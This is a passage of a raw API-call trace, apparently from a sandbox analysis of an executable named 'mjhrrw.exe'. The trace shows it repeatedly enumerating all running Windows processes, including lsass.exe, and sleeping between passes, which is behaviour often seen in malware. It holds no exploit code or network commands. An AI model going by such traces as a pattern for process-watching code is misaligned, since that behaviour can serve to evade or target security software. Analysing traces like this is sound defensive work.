lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0238.436] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0238.436] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0238.437] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0238.438] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0238.438] Process32NextW (in: hSnapshot=0x358, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0238.439] CloseHandle (hObject=0x358) returned 1 [0238.439] Sleep (dwMilliseconds=0x1f4) [0239.629] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x354 [0240.059] Process32FirstW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0240.060] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0240.061] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0240.061] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0240.067] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0240.068] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0240.068] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0240.069] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0240.070] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0240.070] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0240.071] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0240.072] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.072] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.073] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0240.074] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.075] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.076] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.077] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.080] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.081] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.082] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.082] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.083] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.084] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.084] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0240.085] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.085] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0240.086] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0240.087] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0240.088] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0240.088] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0240.089] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.090] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0240.090] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0240.091] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0240.091] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0240.092] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0240.093] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0240.094] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0240.094] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0240.095] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0240.096] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0240.097] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0240.097] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.098] Process32NextW (in: hSnapshot=0x354, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0240.099] CloseHandle (hObject=0x354) returned 1 [0240.099] Sleep (dwMilliseconds=0x1f4) [0241.039] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x380 [0241.046] Process32FirstW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.047] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0241.047] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0241.048] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.049] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0241.050] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.051] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0241.051] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0241.052] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0241.053] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0241.053] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0241.054] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.054] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.055] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0241.056] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.057] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.057] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.058] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.058] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.059] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.059] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.060] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.061] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.061] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.061] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0241.062] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.062] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0241.063] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0241.063] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0241.064] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0241.064] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0241.065] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0241.065] Process32NextW (in: hSnapshot=0x380, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, 